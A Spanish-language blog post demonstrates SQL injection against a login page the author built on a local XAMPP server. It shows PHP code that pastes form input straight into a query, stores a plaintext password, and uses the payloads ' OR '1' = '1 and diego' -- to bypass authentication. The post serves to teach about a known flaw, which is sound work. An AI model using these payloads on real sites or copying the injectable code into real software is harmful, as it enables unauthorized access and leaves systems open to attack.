Para realizar esta prueba de vulnerabilidad se utilizó una página web que maneja la base de datos con SQL, en este caso utilizando XAMPP en un servidor local.
Base de datos:
Se usa una base de datos SQL que contiene el usuario y la contraseña
id | usuario | contraseña |
---|---|---|
1 | diego | 1234 |
Vista del login
Código de PHP que realiza la comprobación
<?php
include('db.php');
$usuario=$_POST['usuario'];
$contraseña=$_POST['contraseña'];
session_start();
$_SESSION['usuario']=$usuario;
$conexion=mysqli_connect("localhost","root","","login");
$consulta="SELECT*FROM usuarios where usuario='$usuario' and contraseña='$contraseña'";
$resultado=mysqli_query($conexion,$consulta);
$filas=mysqli_num_rows($resultado);
if($filas){
header("location:home.php");
}else{
?>
<?php
include("index.html");
?>
<h1 class="bad">ERROR DE AUTENTIFICACION</h1>
<?php
}
mysqli_free_result($resultado);
mysqli_close($conexion);
Ingresando correctamente los datos
Pantalla de bienvenida y error
Esta pantalla aparecerá solamente si los datos ingresados son correctos.
Esta pantalla muestra el error al colocar datos erróneos.
Aplicación de ataque SQL Injection
Para realizar el ataque se utilizo la siguiente línea de código:
'OR '1' = '1
Tanto en el campo de usuario como de contraseña
De este modo la línea que codigo de nuestro archivo PHP que realiza la validación de usuario y contraseña nos queda así
Antes del ataque:
$consulta="SELECT*FROM usuarios where usuario='$usuario' and contraseña='$contraseña'";
Después del ataque
$consulta="SELECT*FROM usuarios where usuario=''OR '1' = '1'
and contraseña=''OR '1' = '1'";
Agregando a la consulta cuando 1 sea igual a 1 es decir verdadero siempre dándonos acceso y mostrando la pantalla de bienvenida como si los datos fueran correctos.
Adicionalmente se puede ingresar utilizando un solo campo utilizando la siguiente línea de comandos
diego' --
de esta forma no importa lo que se envíe en el campo de contraseña.
Dando acceso de igual forma
¡Gracias por leer este post!😊
Si te ha parecido útil o interesante, puedes darle un like 💙 para motivarme a seguir compartiendo contenido así. Si tienes la oportunidad y quieres apoyar mi trabajo, puedes hacerlo a través de un pequeño donativo 💸 ¡Un café virtual sería un gran detalle! ☕ Puedes hacerlo a través de Ko-fi.
Además, si te gustaría seguir mis actualizaciones y contenido en redes sociales, puedes encontrarme en Twitter y YouTube como "GeoannyCode" 📱💻 Espero verte por allí! 😊 ¡Gracias por tu apoyo! ❤️"
Top comments (0)